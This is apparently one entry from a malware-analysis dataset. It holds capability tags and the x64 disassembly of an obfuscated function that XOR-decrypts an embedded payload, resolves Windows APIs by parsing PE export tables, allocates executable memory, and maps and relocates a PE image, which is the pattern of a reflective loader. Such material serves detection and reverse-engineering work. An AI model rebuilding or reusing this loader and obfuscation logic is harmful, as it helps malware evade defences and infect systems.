Function at 0x180001090
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x1800010c2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010c2
nop
jmp 0x1800010c0
mov eax, 0x10
call entry0
sub rsp, rax
mov rsi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov qword [rbp - 8], rsp
mov edi, dword [0x180020a74]
mov ebx, dword [0x180020a78]
cmp ebx, 0xa
jl 0x180001102
lea ecx, [rdi - 1]
imul ecx, edi
and ecx, 1
je 0x180001102
nop
jmp 0x180001100
mov r8b, byte [section..data]
mov r14d, dword [0x180020a74]
mov r12d, dword [0x180020a78]
lea r13d, [r14 - 1]
imul r13d, r14d
and r13d, 1
sete dl
cmp r12d, 0xa
setl cl
or cl, dl
mov r9b, byte [0x180004001]
mov r10b, byte [0x180004002]
mov edx, dword [0x180020a70]
lea eax, [rdx - 1]
imul eax, edx
test al, 1
sete al
cmp dword [0x180020a6c], 0xa
mov r11b, byte [0x180004003]
setl r15b
or r15b, al
mov edx, ecx
or dl, cl
cmp ebx, 0xa
jl 0x18000117b
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
jne 0x1800012f0
mov byte [rsi], r8b
test cl, cl
jne 0x180001197
nop word cs:[rax + rax]
nop dword [rax]
test cl, cl
je 0x180001190
mov byte [rsi], r8b
cmp r12d, 0xa
jl 0x1800011a6
test r13d, r13d
jne 0x1800012f0
mov byte [rsi + 1], r9b
test cl, cl
jne 0x1800011b8
nop
test cl, cl
je 0x1800011b0
mov byte [rsi + 1], r9b
cmp r12d, 0xa
jl 0x1800011c7
test r13d, r13d
jne 0x1800012f0
mov byte [rsi + 2], r10b
test cl, cl
jne 0x1800011d8
nop
test cl, cl
je 0x1800011d0
mov byte [rsi + 2], r10b
cmp r12d, 0xa
jl 0x1800011e7
test r13d, r13d
jne 0x1800012f0
mov byte [rsi + 3], r11b
test cl, cl
jne 0x1800011f8
nop
test cl, cl
je 0x1800011f0
mov byte [rsi + 3], r11b
cmp r12d, 0xa
jl 0x180001207
test r13d, r13d
jne 0x1800012f0
test r15b, r15b
jne 0x180001352
cmp r12d, 0xa
jl 0x18000121f
test r13d, r13d
jne 0x180001310
test cl, cl
mov eax, r13d
cmovne eax, r13d
mov esi, r12d
cmovne esi, r12d
test dl, dl
je 0x180001320
cmp esi, 0xa
jl 0x180001244
test eax, eax
jne 0x180001300
test cl, cl
mov eax, r13d
cmovne eax, r13d
mov esi, r12d
cmovne esi, r12d
test dl, dl
je 0x180001330
cmp esi, 0xa
jl 0x180001269
test eax, eax
jne 0x180001300
test cl, cl
mov eax, r13d
cmovne eax, r13d
mov esi, r12d
cmovne esi, r12d
test dl, dl
je 0x180001340
cmp esi, 0xa
jl 0x18000128a
test eax, eax
jne 0x180001300
test cl, cl
mov eax, r13d
cmovne eax, r13d
mov ebx, r12d
cmovne ebx, r12d
mov edi, r14d
cmovne edi, edi
test dl, dl
je 0x180001350
cmp ebx, 0xa
jl 0x1800012b1
test eax, eax
jne 0x180001300
mov eax, 0x10
call entry0
sub rsp, rax
mov rsi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov qword [rbp - 8], rsp
cmp ebx, 0xa
jl 0x180001167
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
je 0x180001167
jmp 0x180001100
jmp 0x1800012f0
jmp 0x180001300
jmp 0x180001310
jmp 0x180001320
jmp 0x180001330
jmp 0x180001340
jmp 0x180001350
mov r15d, dword [rsi]
test r15, r15
je 0x1800014bf
xor ecx, ecx
cmp r15d, 0x10
jb 0x18000143f
lea rax, [r15 - 1]
cmp rax, 0x400
jae 0x18000143f
mov ecx, r15d
and ecx, 0xfffffff0
lea rax, [rcx - 0x10]
mov rdx, rax
shr rdx, 4
add rdx, 1
mov r8d, edx
and r8d, 1
test rax, rax
je 0x180001402
mov rbx, r8
sub rbx, rdx
xor edx, edx
lea rdi, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov eax, edx
and eax, 0x3e0
movups xmm1, xmmword [rax + rdi + 4]
movups xmm2, xmmword [rdx + rdi + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rdx + rdi + 0x414]
xorps xmm2, xmm0
movups xmmword [rdx + rdi + 0x404], xmm2
lea eax, [rdx + 0x10]
and eax, 0x3f0
movups xmm2, xmmword [rax + rdi + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rdx + rdi + 0x414], xmm1
add rdx, 0x20
add rbx, 2
jne 0x1800013b1
jmp 0x180001404
xor edx, edx
test r8, r8
je 0x180001436
mov eax, edx
and eax, 0x3f0
lea rbx, section..data
movups xmm0, xmmword [rax + rbx + 4]
movups xmm1, xmmword [rdx + rbx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rdx + rbx + 0x404], xmm1
cmp rcx, r15
je 0x1800014bf
mov rdx, rcx
not rdx
test r15b, 1
je 0x180001471
mov eax, ecx
and eax, 0x3f0
lea rbx, section..data
mov al, byte [rax + rbx + 4]
xor al, byte [rcx + rbx + 0x404]
xor al, 0xc
mov byte [rcx + rbx + 0x404], al
or rcx, 1
add rdx, r15
je 0x1800014bf
lea rdx, section..data
mov eax, ecx
and eax, 0x3ff
movzx eax, byte [rax + rdx + 4]
xor al, byte [rcx + rdx + 0x404]
xor al, 0xc
mov byte [rcx + rdx + 0x404], al
lea eax, [rcx + 1]
and eax, 0x3ff
movzx eax, byte [rax + rdx + 4]
xor al, byte [rcx + rdx + 0x405]
xor al, 0xc
mov byte [rcx + rdx + 0x405], al
add rcx, 2
cmp r15, rcx
jne 0x18000147d
lea r11, section..data
lea r10, [r15 + r11]
add r10, 0x404
cmp r12d, 0xa
jl 0x1800014e2
test r13d, r13d
mov rsi, qword [rbp - 8]
je 0x1800014e6
jmp 0x1800014e0
mov rsi, qword [rbp - 8]
cmp r12d, 0xa
jl 0x1800014fd
lea eax, [r14 - 1]
imul eax, r14d
and eax, 1
jne 0x180001820
mov bl, byte [r10]
mov byte [rsi], bl
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001520
test ecx, ecx
jne 0x180001500
cmp edx, 0xa
jl 0x18000152d
test ecx, ecx
jne 0x180001820
mov r8b, byte [r10 + 1]
mov byte [rsi + 1], r8b
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001588
test ecx, ecx
je 0x180001588
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
nop word cs:[rax + rax]
nop dword [rax]
test bl, bl
je 0x180001580
mov byte [rsi + 1], r8b
cmp edx, 0xa
jl 0x180001595
test ecx, ecx
jne 0x180001820
mov r8b, byte [r10 + 2]
mov byte [rsi + 2], r8b
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x1800015e8
test ecx, ecx
je 0x1800015e8
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
nop dword [rax + rax]
test bl, bl
je 0x1800015e0
mov byte [rsi + 2], r8b
cmp edx, 0xa
jl 0x1800015f5
test ecx, ecx
jne 0x180001820
mov r8b, byte [r10 + 3]
mov byte [rsi + 3], r8b
mov ecx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edi, 0xa
jl 0x180001648
test ebx, ebx
je 0x180001648
mov ecx, dword [0x180020a74]
mov edi, dword [0x180020a78]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
sete al
cmp edi, 0xa
setl dl
or dl, al
nop dword [rax + rax]
test dl, dl
je 0x180001640
mov byte [rsi + 3], r8b
cmp edi, 0xa
jl 0x180001655
test ebx, ebx
jne 0x180001820
cmp dword [0x180020a6c], 0xa
jl 0x180001842
mov eax, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001842
cmp edi, 0xa
jl 0x18000168b
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001840
mov bl, byte [r10]
nop
mov byte [rsi], bl
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x1800016b0
test ecx, ecx
jne 0x180001690
cmp edx, 0xa
jl 0x1800016bd
test ecx, ecx
jne 0x180001830
mov r8b, byte [r10 + 1]
mov byte [rsi + 1], r8b
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001718
test ecx, ecx
je 0x180001718
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
nop word cs:[rax + rax]
nop dword [rax]
test bl, bl
je 0x180001710
mov byte [rsi + 1], r8b
cmp edx, 0xa
jl 0x180001725
test ecx, ecx
jne 0x180001830
mov r8b, byte [r10 + 2]
mov byte [rsi + 2], r8b
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001778
test ecx, ecx
je 0x180001778
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
nop dword [rax + rax]
test bl, bl
je 0x180001770
mov byte [rsi + 2], r8b
cmp edx, 0xa
jl 0x180001785
test ecx, ecx
jne 0x180001830
mov dl, byte [r10 + 3]
mov byte [rsi + 3], dl
mov r14d, dword [0x180020a74]
mov r12d, dword [0x180020a78]
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
cmp r12d, 0xa
jl 0x1800017e7
test ecx, ecx
je 0x1800017e7
mov r14d, dword [0x180020a74]
mov r12d, dword [0x180020a78]
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
sete al
cmp r12d, 0xa
setl bl
or bl, al
nop word cs:[rax + rax]
nop
test bl, bl
je 0x1800017e0
mov byte [rsi + 3], dl
cmp r12d, 0xa
jl 0x1800017f1
test ecx, ecx
jne 0x180001830
cmp r12d, 0xa
jl 0x1800014e6
lea eax, [r14 - 1]
imul eax, r14d
and eax, 1
je 0x1800014e6
jmp 0x1800014e0
jmp 0x180001820
jmp 0x180001830
jmp 0x180001840
add r10, 4
mov r9d, dword [rsi]
test r9, r9
mov qword [rbp - 8], r10
je 0x1800019ab
xor ecx, ecx
cmp r9d, 0x20
jb 0x180001987
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x180001987
lea rcx, [r15 + r11]
add rcx, 0x408
lea rdx, [r9 + r11]
add rdx, 4
cmp rcx, rdx
jae 0x1800018ac
lea rcx, [r9 + r15]
add rcx, r11
add rcx, 0x408
lea rdx, str.bITkdAitmtIHsCjnynckkPnHAJEnemGxjrItHhSbxDWBrpzZaGIxirfJXgejgEJHAkiXAenDVsinSCSTfGdbAXMZqBGMkekWAVgPhXlFUxqEPRrMYKAHeGiIwLarnwIqGKscOKUogkYdmzwVpwTrxUjryHcfylWvQAPfQMoLsHKwXSUIlcDVuzzkHsFwOWjPSUuGrqKFMulMVEPvQWksTIBSfdlBjWwDEYmEMeqdUnPSROCZgBoDBAIAWHWTczasRhZibEeQsgmoesxMHDdDpBzsGesePoDPLrqpuQRBhFAumIcfRQnMLfBfMaKlIpgBAIdmpBJYPUHrGzlydilkFZCZKkqzCAymMVDatyFqiRjvMvLokksQwTjLWdcwBMnEeVqRxovsHuPSoZiYCiJltqUenKqPwlZpZMRnDWJRELKyGFsYUTnRsmYrZOJEmcxCyCKdZqvcoeoAvDdntrKqWazoVgMIijOfziHSHmSOxVstwfrRKIQHVrwLlMkfGDUJvbWtJSEqPkwpKMzkbirAQSCxenpkmxHceKtPyLDcXJEkxaqtSliUSBxrhuTeqAfaQaWVDqEnakuTELotmVOAURdkXERgUPnQRLDTkyjRBkGnMiOoHVjuEzFVBukWJoSPrWuDtVQhbPbInZXGBCBPMLjtUXdVgoYMAMCHmPiDXLxggkSAOSbMseKyxFBmqcdcyzoBhfUbKxtufnQbItvDjdWgErtrhJVbMeUUJnRXiXqEfyzoCVDQgYtLHLVVfmcdTfPJhDLKGtSAQBVVgqVQpDyOXbxvxEvBqPvhZliSUFIMaDUdFkXICzWkjGdehAnsZZSLUPaOHdAjPCetijOnvopxfdlupLGWoJJkLLYZETmVtsYBUFckgRYeqzefnpXjAdICgWfyrlmsmoTlpwzuFXgdyKqOgkvExScdrhonZaahAxuiwOYZbSquFJmhgOgETZJQtYHUdoGldYddMsTuKfuHLaIqKnVIWCbdxyqUDjlnXKgjIchslKdTpuDeCrZ
cmp rcx, rdx
jbe 0x1800018ac
xor ecx, ecx
jmp 0x180001987
mov ecx, r9d
and ecx, 0xffffffe0
lea rbx, [rcx - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x180001947
lea rdi, [r15 + r11]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor eax, eax
mov edx, eax
and edx, 0x3c0
movups xmm0, xmmword [rdx + r11 + 4]
movups xmm1, xmmword [rdx + r11 + 0x14]
movups xmm2, xmmword [rdi + rax - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rax - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rax - 0x10]
movups xmm3, xmmword [rdi + rax]
movups xmmword [rdi + rax - 0x30], xmm2
movups xmmword [rdi + rax - 0x20], xmm0
lea edx, [rax + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r11 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r11 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rax - 0x10], xmm0
movups xmmword [rdi + rax], xmm1
add rax, 0x40
add rbx, 2
jne 0x1800018e0
jmp 0x180001949
xor eax, eax
test r8, r8
mov r10, qword [rbp - 8]
je 0x180001982
mov edx, eax
and edx, 0x3e0
movups xmm0, xmmword [rdx + r11 + 4]
movups xmm1, xmmword [rdx + r11 + 0x14]
movups xmm2, xmmword [r10 + rax]
xorps xmm2, xmm0
movups xmm0, xmmword [r10 + rax + 0x10]
xorps xmm0, xmm1
movups xmmword [r10 + rax], xmm2
movups xmmword [r10 + rax + 0x10], xmm0
cmp rcx, r9
je 0x1800019ab
lea rdx, [r15 + r11]
add rdx, 0x408
mov eax, ecx
and eax, 0x3ff
movzx eax, byte [rax + r11 + 4]
xor byte [rdx + rcx], al
add rcx, 1
cmp rcx, r9
jb 0x180001992
cmp dword [0x180020a7c], 0xa
jl 0x1800019d2
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800019d2
nop word cs:[rax + rax]
nop
jmp 0x1800019d0
add r15, 0x408
movsxd rax, dword [0x180004440]
add rax, r11
add rax, 0x404
mov qword [rbp], rax
mov rdi, r10
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800019f0
mov rax, rdi
cmp byte [rax], 0
lea rax, [rax + 1]
jne 0x1800019fc
mov rbx, rax
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001a08
mov r12, rbx
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001a14
mov r13, r12
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a23
mov qword [rbp - 0x18], rax
mov r14, r13
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a35
sub rsp, 0x20
mov rcx, rdi
call fcn.180002840
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a70
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fe4
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x10], rdi
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
mov r11, qword [rbp - 0x18]
jl 0x180001aab
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fe6
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov edx, dword [rdi]
add rdx, r9
mov rcx, r11
nop word cs:[rax + rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001ae6
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001ad0
cmp al, bl
je 0x180001af4
add rdi, 4
add r10, 2
jmp 0x180001abe
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r13
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b2e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fe8
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b5d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001fea
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add rdi, r10
add r9, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r12
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001b96
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001b80
cmp cl, dl
je 0x180001ba4
add rdi, 4
add r9, 2
jmp 0x180001b70
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp - 0x10]
call fcn.180002840
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c08
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fec
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea rsi, section..data
jl 0x180001c3e
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fee
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
mov edi, dword [rdx]
add rdi, r10
xor eax, eax
nop dword [rax + rax]
lea rcx, [r15 + rax]
movzx ebx, byte [rsi + rcx]
movzx ecx, byte [rdi + rax]
test bl, bl
je 0x180001c78
add rax, 1
cmp bl, cl
je 0x180001c60
cmp bl, cl
je 0x180001c86
add rdx, 4
add r9, 2
jmp 0x180001c51
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r13, rax
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180001ffe
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001ffe
movsxd rbx, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rbp - 8]
mov r12, rdx
jl 0x180001d07
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r12, rdx
and ecx, 1
jne 0x180001ff0
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001d07
mov qword [rbp - 0x18], rbx
mov rbx, r12
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001d1a
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001d26
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001d30
mov rdi, r14
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001d3d
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001d49
sub rsp, 0x20
mov rcx, r12
call fcn.180002840
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d85
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ff2
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov esi, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001db4
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ff4
add rsi, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
mov edx, dword [r11]
add rdx, r9
mov rcx, rbx
movzx eax, byte [rcx]
movzx r8d, byte [rdx]
test al, al
je 0x180001de8
add rcx, 1
add rdx, 1
cmp al, r8b
je 0x180001dd0
cmp al, r8b
je 0x180001df7
add r11, 4
add r10, 2
jmp 0x180001dc7
movzx eax, word [r10]
mov eax, dword [rsi + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e30
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ff6
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e5f
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001ff8
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add rdi, r10
add r9, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r14
nop word [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001e96
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001e80
cmp cl, dl
je 0x180001ea4
add rdi, 4
add r9, 2
jmp 0x180001e72
mov r14, qword [rbp - 0x18]
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, r12
call fcn.180002840
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f0b
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ffa
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea rsi, section..data
jl 0x180001f41
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ffc
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
mov edi, dword [rdx]
add rdi, r10
xor eax, eax
nop dword [rax + rax]
lea rcx, [r15 + rax]
movzx ebx, byte [rsi + rcx]
movzx ecx, byte [rdi + rax]
test bl, bl
je 0x180001f78
add rax, 1
cmp bl, cl
je 0x180001f60
cmp bl, cl
je 0x180001f86
add rdx, 4
add r9, 2
jmp 0x180001f54
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov edx, dword [r14 + rsi + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
lea r11, section..data
add rsp, 0x20
cmp dword [0x180020a7c], 0xa
mov r10, qword [rbp - 8]
jl 0x1800019d9
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800019d9
jmp 0x1800019d0
jmp 0x180001fe4
jmp 0x180001fe6
jmp 0x180001fe8
jmp 0x180001fea
jmp 0x180001fec
jmp 0x180001fee
jmp 0x180001ff0
jmp 0x180001ff2
jmp 0x180001ff4
jmp 0x180001ff6
jmp 0x180001ff8
jmp 0x180001ffa
jmp 0x180001ffc
mov rcx, qword [rbp]
cmp word [rcx + 6], 0
je 0x1800020d5
mov rax, qword [rbp]
lea r8, [rax + 0x108]
mov edx, dword [0x180020a74]
mov ebx, dword [0x180020a78]
xor r9d, r9d
cmp ebx, 0xa
jge 0x180002048
jmp 0x180002053
add r9, 1
mov rax, qword [rbp]
movzx eax, word [rax + 6]
cmp r9, rax
jae 0x1800020c9
cmp ebx, 0xa
jl 0x180002053
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x1800020c7
lea rcx, [r9 + r9*4]
mov esi, dword [r8 + rcx*8 + 0x10]
test rsi, rsi
je 0x18000202e
mov eax, dword [r8 + rcx*8 + 0xc]
mov ecx, dword [r8 + rcx*8 + 0x14]
lea rdx, section..data
add rcx, rdx
add rcx, 0x404
add rax, r13
jmp 0x180002092
add rsi, 0xffffffffffffffff
add rax, 1
add rcx, 1
test rsi, rsi
je 0x18000202e
movzx edx, byte [rcx]
mov byte [rax], dl
mov edx, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ebx, 0xa
jl 0x1800020bc
test edi, edi
je 0x1800020bc
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x180002092
cmp ebx, 0xa
jl 0x180002081
test edi, edi
je 0x180002081
jmp 0x1800020c5
jmp 0x1800020c7
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x30]
mov rcx, r13
sub rcx, rdx
cmp ebx, 0xa
jl 0x1800020f5
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800020f5
jmp 0x1800020f3
mov rdx, qword [rbp]
mov edx, dword [rdx + 0xb0]
add rdx, r13
movabs r8, 0x1fffffff8
cmp dword [rdx], 0
je 0x180002287
mov edi, dword [rdx + 4]
cmp rdi, 8
jb 0x180002251
cmp ebx, 0xa
jl 0x180002136
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x18000227f
add rdi, r8
shr rdi, 1
mov r9d, edi
xor r10d, r10d
cmp r10, r9
je 0x180002251
movzx esi, word [rdx + r10*2 + 8]
mov edi, esi
shr edi, 0xc
mov r11d, esi
and r11d, 0xfff
cmp esi, 0xa000
jae 0x1800021d9
cmp edi, 3
jne 0x180002228
mov eax, dword [rdx]
lea rax, [rax*4]
add rax, r13
add dword [rax + r11*4], ecx
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180002228
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x180002228
lea rdi, [r11*4]
add rdi, r13
mov eax, dword [rdx]
add dword [rdi + rax*4], ecx
mov eax, dword [rdx]
add dword [rdi + rax*4], ecx
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180002228
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x1800021b1
jmp 0x180002228
cmp edi, 0xa
jne 0x180002228
cmp ebx, 0xa
jl 0x1800021f2
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x180002283
mov edi, r11d
add rdi, r13
mov eax, dword [rdx]
add qword [rax + rdi], rcx
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180002228
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x180002228
mov eax, dword [rdx]
add qword [rdi + rax], rcx
mov eax, dword [rdx]
add qword [rdi + rax], rcx
jmp 0x1800021fe
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ebx, 0xa
jl 0x18000223a
test edi, edi
jne 0x180002281
add r10, 1
cmp ebx, 0xa
jl 0x180002142
test edi, edi
je 0x180002142
jmp 0x18000227f
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ebx, 0xa
jl 0x180002263
test edi, edi
jne 0x180002285
mov esi, dword [rdx + 4]
add rdx, rsi
cmp ebx, 0xa
jl 0x18000210c
test edi, edi
je 0x18000210c
jmp 0x1800020f3
jmp 0x18000227f
jmp 0x180002281
jmp 0x180002283
jmp 0x180002285
cmp ebx, 0xa
jl 0x180002299
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002299
jmp 0x180002297
lea rax, [r13 + 2]
mov qword [rbp - 8], rax
